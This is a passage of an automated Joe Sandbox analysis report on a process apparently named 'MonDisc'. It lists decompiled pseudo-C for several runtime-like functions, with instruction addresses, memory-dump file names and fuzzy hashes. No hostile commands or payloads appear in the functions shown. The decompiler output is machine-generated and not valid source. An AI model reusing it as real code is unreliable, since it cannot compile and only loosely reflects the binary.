				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED1974E8(0xa, _t108, r15b & _t93 >> 0x00000005, __rcx, __rcx, _t161, __rsi, __rbp);
				goto 0xed192cc7;
				if (E00007FF67FF6ED195488(0xa, _t108, __rcx, __rcx, _t164, _t166, _t172) != 0) goto 0xed192cd2;
				goto 0xed192e09;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed192e06;
				_t102 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xed192d24;
				if ((r15b & 0) == 0) goto 0xed192d07;
				_a8 = 0x2d;
				goto 0xed192d21;
				if ((r15b & _t102) == 0) goto 0xed192d13;
				_a8 = 0x2b;
				goto 0xed192d21;
				if ((r15b & 0) == 0) goto 0xed192d24;
				_a8 = 0x20;
				_t162 = _t179;
				_t94 =  *((intOrPtr*)(__rcx + 0x41));
				if ((_t94 - bpl & 0x000000df) != 0) goto 0xed192d3f;
				if ((r15b & _t102 >> 0x00000005) == 0) goto 0xed192d3f;
				r8b = r15b;
				goto 0xed192d42;
				r8b = 0;
				if (r8b != 0) goto 0xed192d55;
				if ((_t94 - r14b & 0xffffff00 | (_t94 - r14b & 0x000000df) == 0x00000000) == 0) goto 0xed192d70;
				 *((char*)(_t170 + _t162 + 0x50)) = 0x30;
				if (_t94 == bpl) goto 0xed192d64;
				if (_t94 != r14b) goto 0xed192d67;
				sil = bpl;
				 *((intOrPtr*)(_t170 + _t162 + 0x51)) = sil;
				_t167 = __rcx + 0x28;
				_t111 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t102 & 0x0000000c) != 0) goto 0xed192d98;
				r8d = _t111;
				_t85 = E00007FF67FF6ED18B1E4(0x20, __rcx, __rcx + 0x468, _t162 + 2, _t167, _t177);
				r8d = 0;
				_v40 = __rcx + 0x10;
				E00007FF67FF6ED19BCFC(_t85, 0, _t111, __rcx, __rcx + 0x468, _t162 + 2, _t164, _t167, _t167);
				_t95 =  *(__rcx + 0x30);
				if ((r15b & _t95 >> 0x00000003) == 0) goto 0xed192dd9;
				if ((r15b & _t95 >> 0x00000002) != 0) goto 0xed192dd9;
				r8d = _t111;
				E00007FF67FF6ED19B45C(E00007FF67FF6ED18B1E4(0x30, __rcx, __rcx + 0x468, _t162 + 2, _t167, _t177), __rcx, __rcx, _t164);
				if ( *_t167 < 0) goto 0xed192e06;
				r10d =  *(__rcx + 0x30);
				r10d = r10d >> 2;
				if ((r15b & r10b) == 0) goto 0xed192e06;
				r8d = _t111;
				E00007FF67FF6ED18B1E4(0x20, __rcx, __rcx + 0x468, _t162 + 2, _t167, _t177);
				return r15b;
			}

0x7ff6ed192bbc
0x7ff6ed192bbc
0x7ff6ed192bbc
0x7ff6ed192bc1
0x7ff6ed192bc6
0x7ff6ed192bd0
0x7ff6ed192bd4
0x7ff6ed192bda
0x7ff6ed192be0
0x7ff6ed192be3
0x7ff6ed192be6
0x7ff6ed192be9
0x7ff6ed192beb
0x7ff6ed192bed
0x7ff6ed192bf6
0x7ff6ed192bfe
0x7ff6ed192c02
0x7ff6ed192c0a
0x7ff6ed192c12
0x7ff6ed192c17
0x7ff6ed192c1b
0x7ff6ed192c1f
0x7ff6ed192c27
0x7ff6ed192c2f
0x7ff6ed192c34
0x7ff6ed192c39
0x7ff6ed192c3e
0x7ff6ed192c45
0x7ff6ed192c49
0x7ff6ed192c4d
0x7ff6ed192c51
0x7ff6ed192c55
0x7ff6ed192c59
0x7ff6ed192c5d
0x7ff6ed192c62
0x7ff6ed192c69
0x7ff6ed192c6b
0x7ff6ed192c70
0x7ff6ed192c72
0x7ff6ed192c79
0x7ff6ed192c80
0x7ff6ed192c88
0x7ff6ed192c8a
0x7ff6ed192c95
0x7ff6ed192c97
0x7ff6ed192c9b
0x7ff6ed192ca6
0x7ff6ed192ca8
0x7ff6ed192cad
0x7ff6ed192caf
0x7ff6ed192cb8
0x7ff6ed192cbb
0x7ff6ed192cc0
0x7ff6ed192cc9
0x7ff6ed192ccd
0x7ff6ed192cd6
0x7ff6ed192cdc
0x7ff6ed192ce1
0x7ff6ed192ce8
0x7ff6ed192cf4
0x7ff6ed192cfe
0x7ff6ed192d00
0x7ff6ed192d05
0x7ff6ed192d0a
0x7ff6ed192d0c
0x7ff6ed192d11
0x7ff6ed192d1a
0x7ff6ed192d1c
0x7ff6ed192d21
0x7ff6ed192d24
0x7ff6ed192d2e
0x7ff6ed192d38
0x7ff6ed192d3a
0x7ff6ed192d3d
0x7ff6ed192d3f
0x7ff6ed192d4f
0x7ff6ed192d53
0x7ff6ed192d55
0x7ff6ed192d5d
0x7ff6ed192d62
0x7ff6ed192d64
0x7ff6ed192d67
0x7ff6ed192d73
0x7ff6ed192d81
0x7ff6ed192d86
0x7ff6ed192d8b
0x7ff6ed192d93
0x7ff6ed192d9f
0x7ff6ed192da2
0x7ff6ed192daf
0x7ff6ed192db4
0x7ff6ed192dbf
0x7ff6ed192dc7
0x7ff6ed192dcc
0x7ff6ed192dde
0x7ff6ed192de7
0x7ff6ed192de9
0x7ff6ed192ded
0x7ff6ed192df4
0x7ff6ed192df9
0x7ff6ed192e01
0x7ff6ed192e21

Strings

0, xrefs: 00007FF6ED192D55

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 4f288c10fd38e4a4191a67b0ca29e6e8bf186695bb1ed5f60686838b9d535656
Instruction ID: 7297a1e2026d1bb26b51c4c53ade20bc5e819a1ae9b2215b1709d006da3dcfa9
Opcode Fuzzy Hash: 4f288c10fd38e4a4191a67b0ca29e6e8bf186695bb1ed5f60686838b9d535656
Instruction Fuzzy Hash: C961E313E0C64746FA788A2962003FA1791AF41B48FC41531DD89977DAEE2FE847874F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED10F490 Relevance: 1.4, Strings: 1, Instructions: 111
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E00007FF67FF6ED10F490(void* __ebx, void* __esi, void* __eflags, long long __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, void* __r11, long long _a8, long long _a16, long long _a24) {
				void* __rdi;
				void* __r12;
				void* _t38;
				signed int _t42;
				void* _t45;
				unsigned int _t49;
				unsigned int _t50;
				signed int _t61;
				signed short _t68;
				long long _t77;
				long long _t80;
				signed long long _t86;
				void* _t90;
				signed long long _t91;
				long long* _t92;
				signed long long _t95;
				void* _t106;
				void* _t107;
				long long _t108;
				void* _t109;
				long long _t112;

				_t107 = __r11;
				_t99 = __rbp;
				_t94 = __rsi;
				_t79 = __rbx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r9d = 0x1d8;
				r8d = 0;
				_t109 = __rcx;
				E00007FF67FF6ED109D30(__rax, __rbx, __rcx, __rsi, __rbp, __r8, _t106);
				r9d = 0xc00;
				r8d = 0;
				_t112 = __rax;
				_t38 = E00007FF67FF6ED109D30(__rax, _t79, _t109, _t94, _t99, __r8, _t106);
				_t4 = _t112 + 0x18; // 0x18
				_t86 = _t4;
				r8d = 0x1c0;
				_t95 = "va_list";
				_t80 = __rax;
				E00007FF67FF6ED174DE0(_t38, 0, _t86, _t90, __r8);
				r12d = 0;
				 *_t112 = _t80;
				 *((long long*)(_t112 + 0x10)) = _t108;
				_t6 = _t80 + 0x10; // 0x1d0
				_t92 = _t6;
				 *((intOrPtr*)(_t112 + 0xc)) = 0x80;
				 *((intOrPtr*)(_t112 + 8)) = 0x61;
				_t68 = r12d;
				_t77 =  *((intOrPtr*)(_t109 + 0x10));
				 *((long long*)(_t112 + 0x18)) = _t77;
				_t49 =  *0xed236010;
				_t42 = _t49 << 0x10 >> 0x1a;
				_t61 = _t49 & 0xffff03ff;
				_t50 = _t49 >> 0x1c;
				 *(_t92 - 0xc) = _t42;
				 *(_t92 - 0x10) = _t61;
				 *((intOrPtr*)(_t92 - 8)) = r12w;
				if (_t50 == 0xd) goto 0xed10f58a;
				if (_t50 == 7) goto 0xed10f58a;
				 *_t92 = _t108;
				 *((intOrPtr*)(_t92 - 6)) = r12w;
				if (_t50 == 5) goto 0xed10f5e9;
				asm("rol eax, 0xe");
				asm("rol eax, 0x5");
				asm("rol edx, 0xd");
				 *((short*)(_t92 - 6)) =  *(_t112 + 0xd8 + _t86 * 2) & 0x0000ffff;
				 *(_t112 + 0xd8 + _t86 * 2) = _t68;
				goto 0xed10f5e9;
				if ( *((intOrPtr*)(_t95 + 0xffffffff)) != r12b) goto 0xed10f591;
				_t91 = _t95;
				_t45 = E00007FF67FF6ED10A4B0(__ebx, __esi, 0, _t109, _t91, _t92, _t99, 0xffffffff, _t106, _t107, _t108);
				 *(_t77 + 8) =  *(_t77 + 8) | 0x00000020;
				 *_t92 = _t77;
				_t46 = _t45 + 0xfb3ee249;
				asm("rol eax, 0xe");
				asm("rol eax, 0x5");
				asm("rol ecx, 0xd");
				 *((short*)(_t92 - 6)) =  *(_t112 + 0xd8 + _t91 * 2) & 0x0000ffff;
				 *(_t112 + 0xd8 + _t91 * 2) = _t68;
				if (_t68 + 1 - 0x61 < 0) goto 0xed10f520;
				 *((long long*)( *((intOrPtr*)(_t109 + 0x10)) + 0x180)) = _t112;
				return _t45 + 0xfb3ee249 ^ ((_t42 ^ (_t61 ^ _t42) - _t42) - (_t61 ^ _t42) - _t42 & 0x0000007f ^ _t45 + 0xfb3ee249) - _t46;
			}

0x7ff6ed10f490
0x7ff6ed10f490
0x7ff6ed10f490
0x7ff6ed10f490
0x7ff6ed10f490
0x7ff6ed10f495
0x7ff6ed10f49a
0x7ff6ed10f4ac
0x7ff6ed10f4b2
0x7ff6ed10f4b7
0x7ff6ed10f4ba
0x7ff6ed10f4bf
0x7ff6ed10f4c5
0x7ff6ed10f4cd
0x7ff6ed10f4d0
0x7ff6ed10f4d5
0x7ff6ed10f4d5
0x7ff6ed10f4db
0x7ff6ed10f4e1
0x7ff6ed10f4e8
0x7ff6ed10f4eb
0x7ff6ed10f4f0
0x7ff6ed10f4f3
0x7ff6ed10f4f6
0x7ff6ed10f4fa
0x7ff6ed10f4fa
0x7ff6ed10f4fe
0x7ff6ed10f50d
0x7ff6ed10f515
0x7ff6ed10f518
0x7ff6ed10f51c
0x7ff6ed10f520
0x7ff6ed10f52a
0x7ff6ed10f52d
0x7ff6ed10f533
0x7ff6ed10f536
0x7ff6ed10f539
0x7ff6ed10f53c
0x7ff6ed10f544
0x7ff6ed10f549
0x7ff6ed10f54b
0x7ff6ed10f54e
0x7ff6ed10f556
0x7ff6ed10f55e
0x7ff6ed10f563
0x7ff6ed10f568
0x7ff6ed10f57b
0x7ff6ed10f57f
0x7ff6ed10f588
0x7ff6ed10f598
0x7ff6ed10f59d
0x7ff6ed10f5a3
0x7ff6ed10f5b1
0x7ff6ed10f5b5
0x7ff6ed10f5b8
0x7ff6ed10f5bf
0x7ff6ed10f5c4
0x7ff6ed10f5c9
0x7ff6ed10f5dc
0x7ff6ed10f5e0
0x7ff6ed10f5f6
0x7ff6ed10f612
0x7ff6ed10f626

Strings

va_list, xrefs: 00007FF6ED10F4E1

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID: va_list
API String ID: 0-246651278
Opcode ID: ee2d3a6ac9741b9dc0b920588aa3b938dfce93e060fec1ae0720f68eceed2ddd
Instruction ID: f1ecfd50ccfa9d1fa72d856dd1ca041cf1a78e35e7b2c65560edc07696b50831
Opcode Fuzzy Hash: ee2d3a6ac9741b9dc0b920588aa3b938dfce93e060fec1ae0720f68eceed2ddd
Instruction Fuzzy Hash: 0A41DE33B14B5181D348DF26A8586AA33A5FB88790F598639EF6987394FF39D062C305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B0070 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29af4b51da512e638df9966f1f17fead0ef9d0e9c15035ef4ea541309150b39e
Instruction ID: 151be99f7a33b47224fa453ddea831213b862106eb35c27a3b4341a76572b956
Opcode Fuzzy Hash: 29af4b51da512e638df9966f1f17fead0ef9d0e9c15035ef4ea541309150b39e
Instruction Fuzzy Hash: 54527023E28E46CCE2538B35AA127756724BF56380F01C337F90EA7654FF6FA4468609

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13BFC0 Relevance: .5, Instructions: 512
COMMONCrypto

Download Yara Rule

C-Code - Quality: 45%

			E00007FF67FF6ED13BFC0(signed int __rax, signed int __rcx, void* __rdx, long long __rdi, signed int __rsi, signed int __r9, long long __r12, signed int __r13, long long __r15) {
				void* __rbx;
				void* __r14;
				signed int _t281;
				signed int _t283;
				signed int _t288;
				intOrPtr _t303;
				signed int _t304;
				signed int _t308;
				signed int _t309;
				short _t310;
				signed int _t312;
				signed int _t315;
				signed int _t318;
				short _t329;
				signed int _t334;
				signed int _t336;
				void* _t349;
				signed short _t354;
				signed int _t369;
				signed short _t383;
				unsigned int _t385;
				signed short _t388;
				signed int _t391;
				signed short _t393;
				unsigned int _t400;
				signed int _t401;
				signed int _t403;
				void* _t406;
				void* _t412;
				void* _t433;
				intOrPtr _t460;
				unsigned long long _t468;
				signed long long _t470;
				signed long long _t471;
				signed long long _t472;
				signed long long _t473;
				intOrPtr _t474;
				signed long long _t484;
				signed long long _t486;
				signed long long _t497;
				signed long long _t501;
				signed long long _t510;
				signed long long _t513;
				signed long long _t517;
				signed long long _t521;
				intOrPtr _t534;
				signed short* _t540;
				unsigned long long _t541;
				signed long long _t542;
				signed int _t544;
				signed short* _t545;
				void* _t546;
				void* _t547;
				long long _t549;
				void* _t550;
				void* _t552;
				void* _t553;
				signed long long _t571;
				void* _t572;
				unsigned long long _t574;
				signed short* _t576;
				long long _t583;
				unsigned long long _t586;
				void* _t587;
				unsigned long long _t592;

				_t544 = __rsi;
				_t572 = _t552;
				_t553 = _t552 - 0x88;
				r14d = 0;
				 *((long long*)(_t572 - 0x18)) = _t549;
				_t484 = __rcx;
				 *((long long*)(_t572 - 0x28)) = __rdi;
				_t550 = __rdx;
				 *((long long*)(_t572 - 0x30)) = __r12;
				_t391 = r14d;
				_t486 = __rax + __rax * 2;
				 *((long long*)(_t572 - 0x38)) = __r13;
				_t460 =  *((intOrPtr*)(__rdx + 0x30));
				r13d =  *(_t460 + 0xa + _t486 * 4) & 0x000000ff;
				 *((long long*)(_t553 + 0x40)) = _t460 + _t486 * 4;
				r8d = r14d;
				 *(_t553 + 0xa8) = r13d;
				 *((long long*)(_t553 + 0xb8)) = _t583;
				 *(_t553 + 0xa0) = r14d;
				_t574 =  *((intOrPtr*)(__rdx + 0x38)) + _t486 * 4;
				 *(_t553 + 0x38) = _t574;
				 *(__rcx + 0xfc) = r14d;
				_t403 = r13d;
				if (_t403 == 0) goto 0xed13c7a3;
				 *((long long*)(_t572 - 0x20)) = __rsi;
				 *((long long*)(_t572 - 0x40)) = __r15;
				r14d =  *_t574;
				r9d = r14w & 0xffffffff;
				r11d = r9d;
				_t400 = r14d >> 0x18;
				r11d = r11d & 0x0000003f;
				asm("dec ebp");
				_t571 =  *((intOrPtr*)(__rdx + 0x20)) + __r9 * 8;
				if (_t403 >= 0) goto 0xed13c0be;
				if (_t391 == 0) goto 0xed13c0be;
				r8d =  *_t574;
				if ((r8w & 0xffffffff) == r9d) goto 0xed13c098;
				_t406 = 1 - _t391;
				if (_t406 < 0) goto 0xed13c080;
				goto 0xed13c0b1;
				if (_t406 != 0) goto 0xed13c16d;
				asm("dec ebp");
				if (r9d - 0x8000 >= 0) goto 0xed13c0fe;
				if (r14d != 0x1057fff) goto 0xed13c0f1;
				_t354 = r14d & 0x00130000;
				 *(__rcx + 0x25c + __rsi * 4) = _t354;
				goto 0xed13c190;
				_t521 = _t571;
				E00007FF67FF6ED13CF00();
				goto 0xed13c16d;
				if (( *(_t571 + 6) & 0xff80) != 0x80) goto 0xed13c11c;
				 *(_t553 + 0xa0) = 1;
				goto 0xed13c175;
				if ( *((char*)(_t571 + 5)) != 0x47) goto 0xed13c138;
				_t383 =  *(_t571 + 2) & 0x10 | 0x00000021;
				 *(__rcx + 0xb8) = _t400;
				 *(__rcx + 0xbc) =  *(_t571 + 4) & 0x1f | _t354;
				asm("inc ecx");
				_t357 =  >=  ? _t383 : _t383 & 0x0000ffff | 0x00000040;
				 *((short*)(__rcx + 0xba)) =  >=  ? _t383 : _t383 & 0x0000ffff | 0x00000040;
				 *(__rcx + 0x25c + __rsi * 4) = r14d & 0x00130000 | E00007FF67FF6ED158BC0(__rcx, __rcx);
				if ((r14d & 0x00030000) == 0) goto 0xed13c19c;
				_t412 = _t400 - 1;
				if (_t412 == 0) goto 0xed13c19c;
				goto 0xed13c19e;
				 *(__rcx + 0xfc) =  *(__rcx + 0xfc);
				asm("inc ecx");
				if (_t412 >= 0) goto 0xed13c1b4;
				_t54 = _t544 + 1; // 0x1
				 *((intOrPtr*)(__rcx + 0xb0)) = _t54;
				if (_t391 + 1 - r13d < 0) goto 0xed13c051;
				if ( *(_t553 + 0xa0) == 0) goto 0xed13c796;
				 *(_t553 + 0xa0) = 0;
				 *(_t553 + 0xb0) = __r13;
				 *((long long*)(_t553 + 0x30)) =  *((intOrPtr*)(__rdx + 0x20)) + __rcx * 8;
				goto 0xed13c218;
				asm("o16 nop [eax+eax]");
				_t393 =  *_t574;
				_t468 =  *((intOrPtr*)(__rdx + 0x20));
				_t545 = _t468 + _t521 * 8;
				if ( *((char*)(_t468 + 6 + _t521 * 8)) != 0xfd) goto 0xed13c390;
				if ( *((intOrPtr*)(__rcx + 0x25c + (_t468 >> 0x18) * 4)) != _t393 >> 0x18) goto 0xed13c3d1;
				_t281 =  *_t545 & 0x0000ffff;
				 *(_t553 + 0xa0) = 1;
				if (_t281 -  *((intOrPtr*)(__rdx + 0x28)) < 0) goto 0xed13c274;
				 *(_t553 + 0x28) = _t281;
				r9d = r13d;
				 *(_t553 + 0x20) =  *((intOrPtr*)(_t553 + 0xb8));
				E00007FF67FF6ED13CD70(__rcx, __rcx, __rdx, _t545, _t571);
				_t283 = _t545[1] & 0x0000ffff;
				if (_t283 -  *((intOrPtr*)(_t550 + 0x28)) < 0) goto 0xed13c29f;
				 *(_t553 + 0x28) = _t283;
				r9d = r13d;
				_t470 =  *((intOrPtr*)(_t553 + 0xb8));
				 *(_t553 + 0x20) = _t470;
				E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t545, _t571);
				if (_t545[2] == 0x54) goto 0xed13c3d1;
				_t86 =  &(_t545[4]); // 0x8
				_t540 = _t86;
				if (_t540 -  *((intOrPtr*)(_t553 + 0x30)) >= 0) goto 0xed13c3d1;
				_t592 =  *((intOrPtr*)(_t553 + 0xb8));
				if ( *((char*)(_t540 + 6)) != 0xfe) goto 0xed13c379;
				if (( *(_t540 + 7) & 0x000000ff) == 0xff) goto 0xed13c2e3;
				goto 0xed13c328;
				_t288 =  *(_t540 + 5) & 0x000000ff;
				if (_t288 == 0x4c) goto 0xed13c326;
				if (_t288 - 0x49 <= 0) goto 0xed13c326;
				if (_t288 - 0x4f >= 0) goto 0xed13c326;
				if (( *( *((intOrPtr*)(_t550 + 0x20)) + 5 + _t470 * 8) & 0x000000ff) - 0x38 - 1 > 0) goto 0xed13c310;
				goto 0xed13c328;
				if (0 == 0) goto 0xed13c379;
				r9d = r13d;
				 *(_t553 + 0x28) =  *(_t540 + 2) & 0x0000ffff;
				 *(_t553 + 0x20) = _t592;
				_t497 = _t484;
				if (E00007FF67FF6ED13CD70(_t484, _t497, _t550, _t545, _t571) != 0) goto 0xed13c374;
				r9d = r13d;
				_t471 =  *((intOrPtr*)(_t550 + 0x20));
				 *(_t553 + 0x28) =  *(_t471 + _t497 * 8) & 0x0000ffff;
				 *(_t553 + 0x20) = _t592;
				E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t545, _t571);
				_t541 = _t540 + 8;
				if (_t541 -  *((intOrPtr*)(_t553 + 0x30)) < 0) goto 0xed13c2c3;
				goto 0xed13c3d1;
				if ((_t393 & 0x0000ffff) - 0x8000 < 0) goto 0xed13c3d1;
				_t433 = (_t545[3] & 0xff80) - 0x80;
				if (_t433 != 0) goto 0xed13c3d1;
				r9d = r13d;
				 *(_t553 + 0x28) =  *_t545 & 0x0000ffff;
				 *(_t553 + 0x20) = _t574;
				_t303 = E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t545, _t571);
				_t501 = _t541 >> 0x18;
				 *((intOrPtr*)(_t484 + 0x25c + _t501 * 4)) = _t303;
				 *(_t553 + 0xb0) =  *(_t553 + 0xb0) - 1;
				if (_t433 != 0) goto 0xed13c210;
				r14d = 0;
				_t304 = r14d;
				 *(_t553 + 0xb0) = _t304;
				if ( *(_t553 + 0xa0) == r14d) goto 0xed13c799;
				if (_t304 - r13d >= 0) goto 0xed13c799;
				_t385 =  *(_t574 + _t471 * 4);
				_t472 =  *((intOrPtr*)(_t550 + 0x20));
				r8d = _t385;
				if ( *((char*)(_t472 + 6 + _t501 * 8)) != 0xfd) goto 0xed13c77c;
				_t542 = _t484 + (_t574 >> 0x18) * 4;
				if ( *(_t542 + 0x25c) == _t385 >> 0x18) goto 0xed13c461;
				_t576 =  *(_t553 + 0x38);
				 *(_t553 + 0xb0) =  *(_t553 + 0xb0) + 1;
				 *(_t542 + 0x25c) =  *(_t484 + 0x25c + _t472 * 4);
				goto 0xed13c402;
				_t401 =  *_t576 & 0x0000ffff;
				_t586 =  *((intOrPtr*)(_t553 + 0xb8));
				if (_t401 -  *((intOrPtr*)(_t550 + 0x28)) < 0) goto 0xed13c494;
				 *(_t553 + 0x28) = _t401;
				r9d = r13d;
				 *(_t553 + 0x20) = _t586;
				_t308 = E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t545, _t571);
				_t309 = _t576[1] & 0x0000ffff;
				if (_t309 -  *((intOrPtr*)(_t550 + 0x28)) < 0) goto 0xed13c4b9;
				 *(_t553 + 0x28) = _t309;
				r9d = r13d;
				 *(_t553 + 0x20) = _t586;
				_t310 = E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t545, _t571);
				 *(_t484 + 0xb8) = _t308;
				 *((short*)(_t484 + 0xba)) = _t310;
				if ((_t576[2] & 0x000000ff) != 0x54) goto 0xed13c512;
				_t388 = _t576[2] & 0xff9f;
				 *(_t484 + 0xbc) = _t388;
				_t312 = E00007FF67FF6ED163C80(_t472, _t484, _t484, _t550, _t542, _t545, _t550,  *(_t553 + 0x38));
				r14d = 0;
				 *(_t542 + 0x25c) = _t312;
				 *(_t553 + 0xb0) =  *(_t553 + 0xb0) + 1;
				goto 0xed13c402;
				 *(_t484 + 0xbc) = _t388;
				_t315 = E00007FF67FF6ED163C80(_t472, _t484, _t484, _t550, _t542, _t545, _t550,  *(_t553 + 0x38));
				r13d = _t315;
				 *(_t542 + 0x25c) = _t315;
				_t473 =  *((intOrPtr*)(_t553 + 0x30));
				_t546 =  *(_t553 + 0x38) + 8;
				if (_t546 - _t473 >= 0) goto 0xed13c771;
				asm("o16 nop [eax+eax]");
				if ( *((char*)(_t546 + 6)) != 0xfe) goto 0xed13c73f;
				if (( *(_t546 + 7) & 0x000000ff) == 0xff) goto 0xed13c561;
				goto 0xed13c5a1;
				_t318 =  *(_t546 + 5) & 0x000000ff;
				if (_t318 == 0x4c) goto 0xed13c59f;
				if (_t318 - 0x49 <= 0) goto 0xed13c59f;
				if (_t318 - 0x4f >= 0) goto 0xed13c59f;
				if (( *( *((intOrPtr*)(_t550 + 0x20)) + 5 + _t473 * 8) & 0x000000ff) - 0x38 - 1 > 0) goto 0xed13c58e;
				goto 0xed13c5a5;
				_t534 =  *((intOrPtr*)(_t550 + 0x20));
				if (0 == 0) goto 0xed13c73a;
				r15d = r13d;
				_t369 =  *(_t534 + 5 + _t473 * 8) & 0x000000ff;
				_t587 = _t534 + _t473 * 8;
				if (_t369 == 0x3e) goto 0xed13c63b;
				_t567 = _t534 + _t542 * 8;
				if (_t369 != 0x39) goto 0xed13c5f3;
				E00007FF67FF6ED13CF00();
				r8d = (_t534 + _t542 * 8)[1] & 0x0000ffff;
				_t510 = _t484;
				_t329 = E00007FF67FF6ED1592D0( *(_t534 + _t542 * 8) & 0x0000ffff, _t473, _t484, _t510, _t534 + _t473 * 8, _t546);
				goto 0xed13c5fb;
				E00007FF67FF6ED13CF00();
				if (( *(_t587 + 5) & 0x000000ff) - 0x38 - 1 > 0) goto 0xed13c63b;
				_t474 =  *((intOrPtr*)(_t550 + 0x20));
				 *(_t484 + 0xbc) =  *(_t474 + 4 + _t510 * 8) & 0x0000ffff;
				 *(_t484 + 0xb8) = r13w;
				 *((short*)(_t484 + 0xba)) =  *(_t474 + 2 + _t510 * 8) & 0x0000ffff;
				r15d = E00007FF67FF6ED163C80(_t474, _t484, _t484, _t534 + _t542 * 8, _t542, _t546, _t550, _t534 + _t542 * 8);
				 *(_t484 + 0xbc) =  *(_t587 + 4) & 0x0000ffff;
				 *(_t484 + 0xb8) = r15w;
				 *((short*)(_t484 + 0xba)) = _t329;
				_t334 = E00007FF67FF6ED163C80(_t474, _t484, _t484, _t567, _t542, _t546, _t550, _t567);
				r14d =  *(_t553 + 0xa8);
				 *(_t553 + 0x28) =  *(_t546 + 2) & 0x0000ffff;
				r9d = r14d;
				_t513 = _t484;
				 *(_t553 + 0x20) =  *((intOrPtr*)(_t553 + 0xb8));
				if (E00007FF67FF6ED13CD70(_t484, _t513, _t550, _t546, _t571) != 0) goto 0xed13c6e2;
				r9d = r14d;
				 *(_t553 + 0x28) =  *( *((intOrPtr*)(_t550 + 0x20)) + _t513 * 8) & 0x0000ffff;
				 *(_t553 + 0x20) =  *((intOrPtr*)(_t553 + 0xb8));
				_t336 = E00007FF67FF6ED13CD70(_t484, _t484, _t550, _t546, _t571);
				 *((intOrPtr*)(_t484 + 0xba)) = 0x5b0e01d3;
				 *(_t484 + 0xb8) = _t336;
